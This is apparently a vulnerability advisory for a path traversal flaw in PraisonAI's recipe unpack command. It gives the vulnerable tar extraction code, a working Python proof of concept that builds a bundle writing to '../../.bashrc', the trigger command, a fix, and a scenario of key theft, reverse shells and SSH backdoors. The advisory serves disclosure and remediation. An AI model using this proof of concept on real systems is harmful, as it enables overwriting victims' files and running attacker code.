CVE-2026-40157: PraisonAI: path traversal allows arbitrary file write via recipe unpack

| Field | Value | |---|---| | Severity | Critical | | Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation | | Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` | ## Summary `cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`. ## Details The vulnerable code is in `cli/features/recipe.py:1170-1172`: ```python for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) ``` The only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`. The codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it. ```python # recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest = str(dest_dir.resolve()) for member in tar.getmembers(): if os.path.isabs(member.name): raise RegistryError(...) if ".." in member.name.split("/"): raise RegistryError(...) resolved = os.path.realpath(os.path.join(dest, member.name)) if not resolved.startswith(dest + os.sep): raise RegistryError(...) tar.extractall(dest_dir) ``` ## PoC Build a malicious bundle: ```python import tarfile, io, json manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo(name="manifest.json") info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) payload = b"export EVIL=1 # injected by malicious recipe\n" evil = tarfile.TarInfo(name="../../.bashrc") evil.size = len(payload) tar.addfile(evil, io.BytesIO(payload)) ``` Trigger: ```bash praisonai recipe unpack malicious.praison -o ./recipes # Expected: files written only under ./recipes/legit-recipe/ # Actual: .bashrc written two directories above the output dir ``` ## Impact | Path | Traversal blocked? | |------|--------------------| | `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` | | `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` | | `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` | An attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly. Depending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file. ## Remediation Replace the raw extraction loop with `_safe_extractall`: ```python # cli/features/recipe.py:1170-1172 # Before: for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) # After: from praisonai.recipe.registry import _safe_extractall _safe_extractall(tar, recipe_dir) ``` ### Affected paths - `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation

An attacker publishes a legitimate-looking PraisonAI recipe bundle to a public registry or embeds a malicious download link in a popular AI agent tutorial. The bundle contains a valid manifest.json alongside a second member with a traversal path such as ../../.bashrc. When a developer downloads the bundle and runs `praisonai recipe unpack agent-bundle.praison -o ./recipes`, Python's tarfile.extract() resolves the traversal and writes attacker-controlled shell code into the developer's .bashrc. The next time the developer opens a terminal, the payload executes silently — exfiltrating Anthropic or OpenAI API keys stored in environment variables, injecting a reverse shell callback, or adding a persistent SSH backdoor into the AI development environment.